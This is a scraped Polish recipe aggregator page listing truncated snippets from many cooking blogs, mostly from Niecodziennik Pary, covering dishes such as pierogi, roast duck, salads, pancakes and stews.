potrawa nie była mdła dodałam korniszony własnego wyrobu. Dla dbających o linię polecam majonez zastąpić serkiem śmietankowym, choć my uwielbiamy z majonezem:)) 6 jaj L 120 g tuńczyka w sosie własnym 1 mała cebulka 1 łyżka majonezu 3 średnie domowe ogórki konserwowe 1 ćwiartka domowej papryki marynowanej sól świeżo mielony pieprz Jajka ugotować na twardo i ostudzić. Tuńczyka odcedzić

Krylowa Kuchnia
Kopytka- przepis podstawowy 166

Chyba nie znam osoby, która by nie lubiła kopytek. Te mięciutkie i pyszne kluseczki ziemniaczane mogą być dodatkiem do dania głównego (polane sosem mięsnym lub grzybowym), lub same być daniem głównym podane okraszone cebulką, boczkiem lub posypane cukrem. Ja preferuję wersję wytrawną, najlepiej odsmażone na masełku na złoto. Moja córeczka odziedziczyła po mnie "kluskowy apetyt", więc zajada się wszelkiego rodzaju

Krylowa Kuchnia
Pasta z papryczki chilli na zimę 177

Taka ostra pasta idealnie nada się do doprawiania wszelkiego rodzaju gulaszy, marynat mięsnych, oraz sosów na zimno czy na ciepło. Jest idealna kiedy nie mamy już dostepu do świeżych papryczek. Doskonały aromat papryki, idealna ostrość, po prostu petarda. Ilość pasty dozujemy w zależności od tego jak ostre dania lubimy. Po otwarciu słoiczka pastę przechowujemy w lodówce. Na 2 słoiczki

Krylowa Kuchnia
Mielone z szynki z piekarnika 148

mięciutką bułeczkę posmarowaną masłem i pochłonąć na kolację (dobra, dobra na kolację tylko serek wiejski będzie, o bułeczce na razie mogę pomarzyć) Kotlety podałam z brokułami z wody z sosem czosnkowym zrobionym z lekkiego jogurtu i tu zaskoczenie najadłam się i to nawet bardzo. Jeżeli, więc zamierzasz się odchudzać (skutecznie lub nie, bo 90% moich diet kończy się

Krylowa Kuchnia
Paszteciki z serem smażone 142

szybko brązowieć. Smażyć paszteciki aż będą złoto-brązowe. (można sprawdzić drewnianym patyczkiem, czy ciasto nie jest w środku surowe). Gotowe paszteciki osączać na ręczniku papierowym, podawać gorące z ulubionym sosem. Do śroodka zamiast sera można włożyć parówkę, lub nadzienie mięsne

Krylowa Kuchnia
Fuczki 162

otworzyć okna w kuchni 😅😅😅 Smażyć placki na patelni z rozgrzanym olejem. Można smażyć też na suchej patelni, ale moim zdaniem smażone na oleju są o wiele smaczniejsze . Podawać z sosem czosnkowym  lub śmietaną

Weekendy w domu i ogrodzie
Zraziki z ryżem w śmietanie 162

Zraziki z ryżem w sosie śmietanowym, to dość szybkie i proste danie ale wyjątkowo smaczne. Przygotowałam je z mięsa mielonego, z szynki. Jako dodatek mogą być kluski śląskie, ziemniaki itp . U mnie kluski śląskie prawdziwe, tak określa to mój mąż, który jest Ślązakiem. Czyli jakie, Ja mówię na nie żelazne i chyba większość takie zna. Tak czy siak, dodatek

gotuj ze mną
Ani Mru mru 154

grzyby Mun. 5.   Następnie wlewamy ocet balsamiczny i wsypujemy groszek bez zalewy, podlewamy szklanką wody. 6.   Na koniec mąkę rozrabiamy mąkę w małej ilości wody i zagęszczamy sos. 7.   Danie podajmy z ryżem lub makaronem. 8.   Smacznego

Kulinarna Chwila
Makaron po tajsku z polędwiczką wieprzową 131

mein 300 g polędwicy wieprzowej 1 marchew 2 łodygi selera naciowego 1 szalotka 3 ząbki czosnku 1 szpiczasta pomarańczowa papryka 1 szpiczasta czerwona papryka 1 kawałek imbiru 2 łyżki sosu sojowego 1 łyżka syropu z agawy 1 mała puszka pędów bambusa 3 łyżki kiełków fasoli mung Przygotowanie: Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name

R'n'G Kitchen
Udka ze szpinakowym ryżem 230

Składniki: 2 udka z kurczaka 100 ryżu 150 g szpinaku mrożonego w brykiecie 1 cebula 1/2 cukinii 1/2 fenkuła jarzynka, pieprz, curry czubryca czerwona, ocet balsamiczny, sos chili, maggi, czosnek … Czytaj dalej Udka ze szpinakowym ryżem

czarrna od kuchni
Najlepsze spaghetti bolognese na bogato 138

przygotowanie obiadu. Dla porównania i wybrania swojej ulubionej wersji musicie spróbować ich obu. Ponadto, polecam przygotowanie zapiekanych naleśników gryczanych bolognese , lasagne bolognese z beszamelem oraz gryczanego spaghetti naleśnikowego z sosem bolognese , które są świetną alternatywą dla typowego bolognese z makaronem. Składniki: – 500g mięsa mielonego z szynki – 1 puszka pomidorów krojonych – 250ml czerwonego wina, wytrawnego – 250ml bulionu

Be Fit Be Strong
Jak przedłużyć trwałość żywności? Przechowywanie próżniowe. 181

lodówce. Co można pakować próżniowo i dlaczego warto? Prawie wszystko (oczywiście są wyjątki, jak np. biały ser). Zgrzewarka próżniowa jest odpowiednia do każdego rodzaju żywności: mięs, warzyw, owoców, sosów, zup, kawy ziarnistej, artykułów sypkich jak kasze, ryże itd. Przykładowa ważność produktów po zapakowaniu próżniowym: wołowina, wieprzowina, jagnięcina, drób – okres przechowywania 2-3 lata w zamrażalniku mięso mielone – okres przechowywania

Słodkie okruszki
Rollsy z tortilli z tuńczykiem 170

tortilli tym razem z tuńczykiem. Takie wrapy to świetny pomysł na imprezę czy na kolację. 12 sztuk. 2 szt. placków z tortilli 1 puszka tuńczyka w kawałkach w sosie własnym 2 kopiaste łyżki serka typu almette naturalny kilka liści sałaty lodowej 2 garście kukurydzy z puszki 2 ogórki konserwowe 1 mała cebula czerwona Oliwki do dekoracji. Tuńczyka odsączyć z zalewy

Andzia Pichci
3x inspiracje marca: wypasiony obiad wege, zielony chleb i wege burger 226

czerwona soczewica + ziemniaki, ugotowane razem, ciekawe połączenie, bardzo smaczne) - kotlety z białej kaszy gryczanej (ugotowana kasza + zielenina + ulubione przyprawy + podsmażona cebulka/czosnek), polane olejem z pestek dyni - pieczarki pieczone w sosie własnym z oliwą, solą, pieprzem i ziołami transylwańskimi, - brukselka ugotowana na parze, później na patelnię z bułką tartą i masłem - surówka (szpinak, rukola, marchewka, por). 2. Wege burger z Żabki

Qlinarnie i Qlinarnie
Baba ghanoush - pasta z bakłażana 143

mielone, warzywa, sery i ulubione przyprawy oraz zioła. Bakłażan pokrojony w grube plastry sprawdzi się do  grillowania, zapiekanek, wytrawnych tart , a pokrojony w kostkę - do gulaszy lub warzywnych sosów

Gary Bez dna
Kokosowe babeczki z wiśniami / Coconut cupcakes with cherries 161

pieca i ostudź na kratce. Czekoladę połam na kostki, wrzuć do metalowej miski i rozpuść nad parą wodną. Wlej śmietankę i sok z wiśni, podgrzewaj jeszcze chwilę, aż sos będzie gładki. Udekoruj babeczki polewą i zaczekaj aż zastygnie. * kupisz w sklepie ze zdrową żywnością. I dream of a warm spring so much that I decided to call it today with

Delicious Place
Schabowe pod puszystą pierzynką 172

oraz ugotowaną i pokrojoną na 3 części brukselkę. 6.   Warzywami przykrywamy kotlety. 7.   Ser ścieramy na tarce o dużych oczach, łączymy z majonezem oraz ketchupem. 8.   Sos serowy rozprowadzamy na warstwie warzywnej. 9.   Zapiekamy w piekarniki 15 minut w 180°C. 10.    Kotlety gotowe. 11 .    Smacznego

Kulinarna Chwila
Sałatka jajeczna z awokado i łososiem 160

wydrążamy gniazda nasienne. Następnie ogórka kroimy na mniejsze kawałki. Łososia kroimy w kostkę. Majonez łączymy ze śmietaną, doprawiamy solą oraz pieprzem. Wszystkie składniki łączymy ze sobą w misce. Dodajemy sos, mieszamy. Dodatkowo sałatkę możemy jeszcze skropić sokiem z cytryny (doda smaku i dodatkowo zabezpieczy awokado przed ciemnieniem) i dodatkowo doprawić jeszcze do smaku solą lub pieprzem. Sałatkę podajemy w niedługim

Smaki Na Talerzu
Gulasz z żołądków 277

Składniki: 240 g żołądków 1 marchewka 1 pietruszka 150 g pieczarek 1/2 koncentratu pomidorowego słodka papryka zioła prowansalskie sos chili jarzynka liść laurowy, 2 ziela angielskie Przygotowanie: Żołądki oczyścić, zalać … Czytaj dalej Gulasz z żołądków

czarrna od kuchni
Domowe tortille z guacamole 113

Doskonały pomysł na imprezowe przekąski Dziś propozycja rodem z kolorowego Meksyku! Mam dla Was łatwe domowe tortille, nafaszerowane pysznym guacamole i pikantnym sosem pomidorowym. Tortille z tego przepisu wychodzą cienkie, elastyczne. Bez problemu można zawinąć je z farszem i warzywami. Nie kruszą się i nie łamią. My przygotowaliśmy tortille w mini wersji, żeby zjeść je jak tacos. I to jest

Healthycreations.pl
Szpinak z tofu 108

danie. Minimalistyczna kuchnia może być równie ciekawa co wymyślne, czasochłonne potrawy. Poniższy przepis świetnie to udowadnia. To zaledwie trzy składniki i trochę przypraw. A w efekcie otrzymujemy pyszny aromatyczny sos, który może być samodzielnym lekkim daniem. Można też przygotować do niego chlebki naan, które będą pasowały idealnie. Artykuł Szpinak z tofu pochodzi z serwisu Healthycreations - zdrowe odżywianie jest prostsze niż

Healthycreations.pl
Modra kapusta 127

klusek i rolady, więc niezbyt często, bo dobra wołowina do tanich nigdy nie należała. Każdy element tego tradycyjnego, śląskiego obiadu był tak samo wyśmienity i prosta kapusta polana ciemnym sosem z mięsa niczym nie ustępowała roladom czy kluskom. Mama zawsze kupowała największą główkę, jaka tylko była w sklepie, żeby resztę modrej kapusty z boczkiem można było sobie jeszcze na kolację

niecodziennikpary
Brownie 127

tabliczka czekolady. Zdecydowanie poprawia nastrój, osładza każdą chwilę i sprawia, że trudno oprzeć się kolejnej jego porcji. Czekoladowe brownie wyśmienicie smakuje podane z lodami waniliowymi i odrobiną mięty, polane sosem toffi lub otulone bitą śmietaną. Składniki na brownie 120 g mąki pszennej 1 / 2 łyżeczki proszku do pieczenia 2 łyżki gorzkiego kakao 150 g masła 350 g cukru brązowego

niecodziennikpary
Spaghetti z papryką i oliwkami 127

koniec dołożyć oliwki, posiekaną bazylię oraz uprażone pestki dyni. Podgrzewać do momentu, aż oliwki będą ciepłe. Makaron spaghetti ugotować wg przepisu na opakowaniu i po odcedzeniu podać z przygotowanym sosem. Świeże pomidory poza sezonem można zastąpić pomidorami w puszce, nie dodające wtedy do potrawy koncentratu pomidorowego. Zamiast świeżej bazylii można użyć 1 / 2 łyżeczki bazylii suszonej. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł

niecodziennikpary
Kurczak z cytryną 116

kilogram 1 godzinę – w piekarniku nagrzanym do 180 o C z termoobiegiem. Co jakiś czas kurczaka z cytryną delikatnie przewrócić na drugą stronę, polewać wytworzonym w czasie pieczenia sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Kurczak z cytryną pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Naleśniki z serem 158

przygotowywanie naleśników zawsze trwa długo – znacznie dłużej niż płatków na mleku – szybko się z nimi uwinęliśmy i mogliśmy zasiąść do jedzenia. Takie naleśniki z serem polane sosem karmelowym dostarczyły nam energii aż do obiadu. Składniki na naleśniki z serem Naleśniki: 250 g mąki pszennej 1 / 2 l mleka 1 jajko czubek noża proszku do pieczenia 1 łyżka cukru

niecodziennikpary
Naleśniki z łososiem 132

drugą stronę, chwilę podpiec, przełożyć na talerz. Wystudzić. Serek z pietruszką rozprowadzić na naleśnikach, ułożyć na nim łososia, zwinąć w rulon. Naleśniki z łososiem można podawać np. z sosem czosnkowym lub ziołowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Naleśniki z łososiem pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Klopsy z oliwkami i limonką 130

Wieczór wcześniej przełożyłem z zamrażarki do lodówki nie to mięso, które było zaplanowane, więc trzeba było coś z niego wymyślić. Aby przygotować klopsy w sosie można by sięgnąć do naszych zapasów po puszkę pomidorów, ale zdecydowaliśmy się zrobić coś nowego. Przygotowałem klopsy z oliwkami i limonką , danie bardzo szybkie i zupełnie inne od dotychczasowych klopsików, a to zrekompensowało nam brak

niecodziennikpary
Naleśniki czekoladowe z gruszkami 122

naleśników. W smaku są bardzo kakaowe, gruszki z serem bardzo dobrze do nich pasują. Dodatkowo polaliśmy naleśniki rozpuszczoną w mikrofalówce gorzką czekoladą, ale można użyć np. syropu klonowego lub sosu toffi. Składniki na naleśniki czekoladowe z gruszkami Naleśniki: 150 g mąki pszennej 400 ml mleka 1 jajko 1-2 płaskie łyżki cukru 1 czubata łyżka kakao opakowanie cukru wanilinowego czubek

niecodziennikpary
Cukiniowe placuszki 118

żeby się najeść. My we dwoje wykorzystaliśmy dwie cukinie, a jeszcze znalazło się miejsce na deser i kawę. To proste danie bardzo nam zasmakowało, dodatkowo polaliśmy cukiniowe placuszki odrobiną sosu czosnkowego. Jeżeli ktoś jeszcze nie jadł takich placuszków, warto ich spróbować. Składniki na cukiniowe placuszki 2 duże cukinie (600-700 g) 1 mała cebula 2 jajka 4-5 łyżek mąki

niecodziennikpary
Grzyby w cieście 120

smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie Grzyby namoczyć na noc w wodzie, następnego dnia gotować je do miękkości (około godziny) w wodzie, w której były namaczane. Odcedzić, wywar wykorzystać do sosu lub zupy. Z mąki, mleka i jajka przygotować gęste ciasto naleśnikowe. Dobrze odciśnięte kapelusze grzybów posolić i oprószyć pieprzem, namaczać w przygotowanym cieście, smażyć z obu stron na złoty kolor

niecodziennikpary
Pierogi z kapustą i grzybami 125

zimnej, przegotowanej wodzie, po czym ugotować je do miękkości w tej samej wodzie. Odcedzić i dobrze odcisnąć, zmielić w maszynce lub bardzo drobno pokroić. Wywar można wykorzystać do przygotowania sosu lub zupy. Kapustę kiszoną przepłukać, drobno pokroić. Ugotować ją do miękkości w wodzie z dodatkiem liścia laurowego, ziaren pieprzu, jałowca i ziela angielskiego. Ostudzić, odcisnąć, wyjąć przyprawy, drobno pokroić. Cebule

niecodziennikpary
Pieczone udka kaczki 132

udka odwrócić na drugą stronę, wlać wywar drobiowy i ponownie wstawić do piekarnika na 1,5 godziny . Od czasu do czasu mięso należy odwracać i polewać wytworzonym podczas pieczenia sosem. Pieczone udka kaczki można podawać np. z kopytkami , ziemniakami z wody i bukietem surówek lub zasmażanymi buraczkami . (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pieczone udka kaczki pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Sałatka śledziowa po wiedeńsku 128

Białą fasolę przepłukać, zostawić na sitku do odkapania. Jabłko, gruszkę oraz cebulę obrać, pokroić w kostkę. Do miski wsypać wszystkie składniki sałatki (część można zostawić do dekoracji), połączyć z sosem przygotowanym ze śmietany i majonezu. Sałatkę śledziową po wiedeńsku doprawić pieprzem do smaku. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatka śledziowa po wiedeńsku pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Ocet z granatu 142

doskonały sposób miał on zastępować gotowe dressingi do sałatek. Rzeczywiście tak było, wystarczyła łyżka tego specyfiku wymieszanego z oliwą, ziołami, odrobiną cukru i nie potrzebne były żadne gotowe sosy. Gdy pozostała mi pusta butelka, rozpoczęłam poszukiwania tego octu, niestety bezskuteczne. Zupełnie przypadkowo znalazłam przepis na zrobienie go w domowych warunkach. W porównaniu z oryginałem domowy ocet z granatu ma bardziej

niecodziennikpary
Śledzie pod pierzynką 108

skórkę, usunąć gniazda nasienne. Pokroić w wąskie paski lub małą kostkę. W miseczce wymieszać majonez, śmietanę oraz musztardę. W salaterce ułożyć warstwę ziemniaków, śledzi, buraczków oraz jabłka. Polać przygotowanym sosem, a na wierzch zetrzeć jajka na drobnej tarce. Śledzie pod pierzynką wstawić na kilka godzin do lodówki. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Śledzie pod pierzynką pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Kotlety z pęczaku 131

Gryczane kotlety także i Wam bardzo się spodobały, dlatego dzisiaj mamy dla Was kotlety z pęczaku. Nam towarzyszyły do pieczonej kaczki, polane naturalnym sosem wytworzonym podczas pieczenia drobiu smakowały wyśmienicie. Zachęcamy do wypróbowania tego przepisu i podzielenia się swoją opinią. Składniki 100 g pęczaku (lub 250 g ugotowanego) 200 g bułki tartej 1 1 / 3 szklanki mleka 2 jajka

niecodziennikpary
Deser bezowy z granatem i mascarpone 139

dodawać mascarpone, cały czas miksując na niskich obrotach. Dosłodzić do smaku. Wykonanie Na połowę bez wyłożyć krem, posypać nasionami granatu i przykryć drugą bezą. Deser bezowy dodatkowo można polać sosem owocowym i ozdobić nasionami granatu. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Deser bezowy z granatem i mascarpone pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Placuszki z sera białego 110

usmażyć z drugiej strony – placuszki szybko się smażą, więc trzeba mieć to na uwadze podczas smażenia. Placuszki z sera białego podawać z dżemem, posypane cukrem pudrem lub polane sosem np. czekoladowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Placuszki z sera białego pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Sałatka z pęczakiem na słodko 119

ognia, przestudzić. Owoce i orzech pokroić w mniejsze kawałki. Śmietankę kremówkę wymieszać z miodem oraz posiekanymi liśćmi mięty. Do miski wsypać ostudzoną kaszę pęczak, dodać owoce i orzechy oraz sos śmietankowo-miodowy. Dokładnie wymieszać. Sałatkę z pęczakiem na słodko podawać wcześniej schłodzoną. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatka z pęczakiem na słodko pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pampuchy 134

Letnie wyprawy na jagody przeważnie oznaczały, że na obiad podane będą pampuchy z sosem z przyniesionych owoców. Nigdy nie załapałam się na proces ich powstawania, ponieważ gdy wracaliśmy do domu te drożdżowe kuleczki już gotowały się na parze. Teraz też było podobnie – wchodzę do domu, a pampuchy już w garnku. No cóż, historia lubi się powtarzać. Składniki na pampuchy

niecodziennikpary
Racuchy z mąki kukurydzianej 119

mąki kukurydzianej . Są bardziej kruche od tradycyjnych racuchów, ale równie dobrze jak one wyrastają i trzymają kształt. Można je podawać na ciepło lub zimno, z dodatkiem ulubionego dżemu lub sosu. Składniki na racuchy z mąki kukurydzianej 400 g mąki kukurydzianej 50 g świeżych drożdży 2,5 szklanki mleka 2 jajka w temperaturze pokojowej 2 łyżeczki cukru 1 opakowanie cukru wanilinowego

niecodziennikpary
Szparagi na słodko w cieście francuskim 126

Szparagi najczęściej kojarzą się z sosem holenderskim, grillem lub innymi daniami na słono. Białe szparagi można jednak przygotować na słodko np. z kremowym capreggio, orzechami nerkowca i miodem. Takie szparagi na słodko w cieście francuskim są bardzo miłą odmianą dla znanych nam sposobów przyrządzania tego sezonowego warzywa. Nie jest to deser, ale bardzo dobra i lekka propozycja na kolację

niecodziennikpary
Pasta z bakłażana i selera naciowego 129

musimy pamiętać o dodatkowych produktach do zrobienia zdjęć, które czasami kilka dni zalegają w lodówce. Tak było z bakłażanem – dopełniającym zdjęcie moussaki oraz resztą selera naciowego użytego do sosu bolognese. Udało nam się stworzyć bardzo smaczną pastę, uzupełniając te dwa składniki jabłkiem i słonecznikiem oraz doprawiając ją pikantnym pieprzem cayenne. Składniki na pastę z bakłażana i selera naciowego

niecodziennikpary
Pierogi z jagodami 107

lasu na jagody zawsze jedziemy w dwóch kulinarnych celach – użycia ich do zrobienia pierogów oraz pampuchów z sosem jagodowym. W tym roku było oczywiście podobnie i z naszych rodzinnych wypraw dwukrotnie lepiliśmy pierogi z jagodami , za każdym razem było ich oczywiście za mało, aby najeść się na cały rok. Ciekawostką podpatrzoną u Mamy było dodanie do jagodowego farszu budyniu

niecodziennikpary
Pikantne burrito z czerwoną fasolą 119

patelnię z rozgrzanym olejem, smażyć, aż się zeszkli. Wsypać czosnek, chwilę podsmażać. Dodać mięso mielone, usmażyć na rumiano, odstawić z ognia. Do mięsa wlać zawartość puszki fasoli wraz z sosem, pognieść tłuczkiem do ziemniaków. Doprawić do smaku pieprzem cayenne, solą i czarnym pieprzem. Pozostałe dodatki: Pomidory umyć, pokroić na mniejsze kawałki. Czerwoną cebulę obrać, pokroić w piórka. Rzymską sałatę opłukać

niecodziennikpary
Kaczka pieczona z jabłkami 139

drugą stronę, wlać 1 / 2 szklanki gorącej wody i piec kolejne 2 godziny . Duża i tłusta kaczka będzie potrzebowała wydłużenia czasu pieczenia. Podczas pieczenia kaczkę często polewać wytwarzającym się sosem, kilka razy odwrócić. Aby zapobiec przypaleniu się końcówek skrzydeł i nóg, można je zawinąć w folię aluminiową (mniej więcej w połowie pieczenia). Gdyby kaczka już się przyrumieniła, a do końca

niecodziennikpary
Gulasz z dzika z grzybami 121

śliwek, redukowanego czerwonego wina i kilku kuleczek jałowca oraz ziela angielskiego. Gulasz z dzika z grzybami długo się dusił, ale efekt końcowy wart był czekania, na powierzchni naturalnego sosu unosiły się złociste oczka tłuszczu, a grzyby doskonale komponowały się z tym wyrazistym w smaku mięsem. Udostępnij Składniki na gulasz z dzika z grzybami 600 g mięsa z dzika na gulasz

niecodziennikpary
Udka kacze w pomarańczach 134

Przełożyć je do naczynia żaroodpornego, dolać sok pomarańczowy i wstawić do piekarnika na około 1,5 godziny . Podczas pieczenia udka odwracać mniej więcej co 30 minut, polewać je wytworzonym sosem. Gdyby sok z pomarańczy odparował, dolać trochę gorącej wody. Na 30 minut przed końcem pieczenia dodać pokrojoną w grube plastry pomarańczę. Udka kacze w pomarańczach podawać wraz z plasterkami upieczonej

niecodziennikpary
Pieczona pierś gęsi z owocami 125

minut . Po tym czasie temperaturę zmniejszyć do 180 o C ( z termoobiegiem ), piec 60 minut – od czasu do czasu mięso odwrócić na drugą stronę i polać wytworzonym sosem. Na 30 minut przez zakończeniem pieczenia zdjąć folię, a mięso przewrócić skórą do góry, żeby zrobiła się chrupiąca. Pieczoną pierś z gęsi z owocami po upieczeniu wyjąć z piekarnika i zostawić

niecodziennikpary
Królik duszony z pieczarkami 134

pewnością jest daniem, które może z tymi wspomnieniami konkurować. Mięso gotowane na sporej ilości pieczarek z dodatkiem białego wina jest miękkie i soczyste, a z grzybów powstaje świetny, aromatyczny sos. Z pewnością jest to danie, które można podać na świąteczny stół lub przyjmując gości na niedzielnym obiedzie. Składniki na królika duszonego z pieczarkami 1 królik 500 g pieczarek 1 szklanka

niecodziennikpary
Surówka z kapusty pekińskiej z owocami 136

kawałki. Pomarańczę obrać ze skórki, podzielić na części, obrać je z białych błonek, pokroić na mniejsze kawałki. Miętę opłukać, posiekać. Z oliwy, wody, octu, miodu oraz posiekanej mięty przygotować sos do surówki. Polać nim kapustę pekińską i owoce, wymieszać, doprawić do smaku solą i pieprzem. Surówkę z kapusty pekińskiej z owocami podawać jako dodatek do obiadu. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł

niecodziennikpary
Sałatka caprese 121

talerzu układać naprzemiennie plastry pomidora, sera oraz bazylii. Całość skropić oliwą oraz oprószyć zmieloną solą oraz pieprzem. Kilka listków bazylii drobno posiekać, wymieszać z łyżką oliwy i tym sosem polać wcześniej ułożoną sałatkę caprese. Sałatkę caprese można wzbogacić, dodając pokrojone w krążki oliwki lub skraplając ją delikatnie octem balsamicznym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatka caprese pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Kasza jaglana z warzywami 123

przez 15 minut. Pozostawić jeszcze na 10 minut pod przykryciem, po czym doprawić do smaku solą i pieprzem. Kaszę jaglaną z warzywami można podawać jako dodatek do mięs i sosów lub jako samodzielne danie. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Kasza jaglana z warzywami pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Wywar warzywny 127

Wywar warzywny to doskonała baza do zrobienia jarskich zup lub sosów. Można go ugotować znacznie więcej, zamrozić i za każdym razem, gdy jest potrzeba, wyjąć i przygotować posiłek. My nasz zamrożony wywar wykorzystaliśmy m.in. do karpia w galarecie, dzięki czemu zaoszczędziliśmy czas podczas świątecznych przygotowań. Do wywaru z warzyw zawsze dosypujemy suszone liście lubczyku, przez co jest on bardziej aromatyczny

niecodziennikpary
Biała kiełbasa pieczona w piwie 144

cebulę, posmarować ją grubą warstwą musztardy wymieszanej z chrzanem. Wstawić do piekarnika nagrzanego do 180 o C , piec z termoobiegiem około 60 minut , co jakiś czas kiełbasy polewać sosem. Białą kiełbasę pieczoną w piwie podawać na gorąco z dodatkiem pieczywa lub ugotowanych ziemniaków. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Biała kiełbasa pieczona w piwie pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Podudzie indyka pieczone z suszonymi pomidorami 151

pomidorów oraz śródziemnomorskich przypraw, mięso było bardzo soczyste, miękkie i z łatwością odchodziło od kości. Suszone pomidory sprawiły, że podudzie indyka nabrało słodkiego pomidorowego smaku, a wytworzony podczas pieczenia sos jeszcze ten smak podkreślił. Składniki na podudzie indyka pieczone z suszonymi pomidorami 1 podudzie z indyka 10 suszonych pomidorów 1 łyżeczka suszonego oregano 1 łyżeczka suszonej bazylii 1 liść laurowy

niecodziennikpary
Pikantne podudzia kurczaka 142

termoobiegiem ), piec 30 minut . Temperaturę zmniejszyć do 180 o C , zdjąć folię, piec dalej około 60 minut . W trakcie pieczenia mięso kurczaka kilka razy odwrócić i polać wytworzonym sosem. Pikantne podudzia z kurczaka podawać na gorąco z ziemniakami z wody i surówką. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pikantne podudzia kurczaka pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Drożdżowe racuchy z jabłkami 129

kolor. Po usmażeniu drożdżowe racuchy z jabłkami wykładać na papierowy ręcznik, aby pozbyć się nadmiaru tłuszczu. Drożdżowe racuchy z jabłkami przed podaniem można posypać cukrem pudrem lub polać ulubionym sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Drożdżowe racuchy z jabłkami pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Marynowane pieczarki 137

przyjmowania gości, dobrze jest postawić na stole marynowane pieczarki , które są doskonałym uzupełnieniem serwowanych wędlin i serów. Można z nich zrobić również wiele ciekawych zimnych przystawek np. koreczki, sałatki, sos tatarski. Kupując pieczarki do marynowania, najlepiej wybierać te najmniejsze, gdyż wyglądają one najładniej w podawanych potrawach. Jeśli jednak nie możemy dostać odpowiednio małych pieczarek, można oczywiście kupić te większe

niecodziennikpary
Gulasz wołowy 136

pracy chcemy zjeść coś gorącego i sycącego. Wbrew pozorom nie jest to danie trudne do wykonania, wymaga pokrojenia i podsmażenia zaledwie kilku składników, które następnie gotują się we własnym sosie. U mnie w domu, a teraz także z Bartkiem, często robimy gulasze z różnych rodzajów mięs i z różnymi dodatkami, tym razem do przygotowania użyliśmy mięsa wołowego, które wymaga znacznie

niecodziennikpary
Pierogi z mięsem dzika 160

cały płyn odparuje, dołożyć na patelnię cebulę z grzybami. Dodać liść laurowy, ziele angielskie oraz jałowiec, wlać szklankę gorącej wody, przykryć, dusić 20 minut. Nie należy całkowicie zredukować sosu, nada on wilgoci farszowi. Odstawić do wystygnięcia, po czym usunąć przyprawy i dwukrotnie zemleć w maszynce do mielenia mięsa. Do mięsnej masy wsypać bułkę tartą, wbić jajko, wyrobić masę. Doprawić

niecodziennikpary
Papryka nadziewana kaszą gryczaną i warzywami 130

odparuje, a warzywa będą miękkie. Wsypać oregano, doprawić do smaku solą i pieprzem. Połówki papryk ułożyć w żaroodpornym naczyniu, wypełnić kaszą gryczaną, na wierzch wyłożyć podsmażone warzywa, polać sosem z patelni. Przykryć folią aluminiową (błyszczącą stroną do wewnątrz), wstawić do piekarnika nagrzanego do 180 o C , piec z termoobiegiem 30 minut . Papryki nadziewane kaszą gryczaną i warzywami podawać na gorąco

niecodziennikpary
Gołąbki z kaszą gryczaną i grzybami 131

pokrywkę. Wstawić do piekarnika rozgrzanego do 180 o C , piec 60-70 minut . Pozostawić gołąbki jeszcze 20 minut w wyłączonym piekarniku. Gołąbki z kaszą gryczaną i grzybami podawać z sosem pomidorowym lub grzybowym. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Gołąbki z kaszą gryczaną i grzybami pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Pancakes dyniowe 135

pojawienia się pęcherzyków powietrza i zezłocenia się ciasta. Odwrócić na drugą stronę, smażyć, aż pancake nabierze złocistego koloru. Pancakes dyniowe podawać ze słodkimi dodatkami, np. z miodem, syropem klonowym, sosem karmelowym i bitą śmietaną. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pancakes dyniowe pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Warstwowa sałatka z selera marynowanego 113

kawałki. Jajka ugotować na twardo, obrać, zetrzeć na drobnej tarce lub pokroić w drobną kostkę. W misce układać warstwami szynkę, ser, por, marchewkę, seler marynowany, ananas i jajka. Polać sosem zrobionym z majonezu i śmietany doprawionym do smaku solą i pieprzem. Warstwową sałatkę z selera marynowanego wstawić do lodówki na kilkadziesiąt minut, aby smaki się przeniknęły. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł

niecodziennikpary
Boeuf Stroganow 150

stołach. Warto jednak przygotować je w domu i cieszyć się pełnią smaków oraz kolorów. Boeuf Stroganow można przygotować z wieloma różnymi dodatkami, jadłam np. tylko z dodatkiem pieczarek w sosie śmietanowym, ale także z dużą ilością papryki i bez pieczarek. My do naszego garnka ze Strogonowem wrzuciliśmy pieczarki, paprykę oraz ogórki kiszone, przez co danie miało wyrazisty smak. Składniki

niecodziennikpary
Śledzie po sułtańsku 129

przygotować na świąteczne spotkanie. Tym razem proponujemy Wam śledzie po sułtańsku , czyli śledzie na słodko z rodzynkami. Z pewnością posmakują one każdemu, kto lubi śledzie w połączeniu z sosem pomidorowym, a ponieważ bardzo łatwo je przygotować i można je zrobić na kilka dni wcześniej, są dobrą propozycją na świąteczny czas przygotowań i spotkań w gronie Rodziny. Składniki na śledzie

niecodziennikpary
Śledzie w śmietanie 142

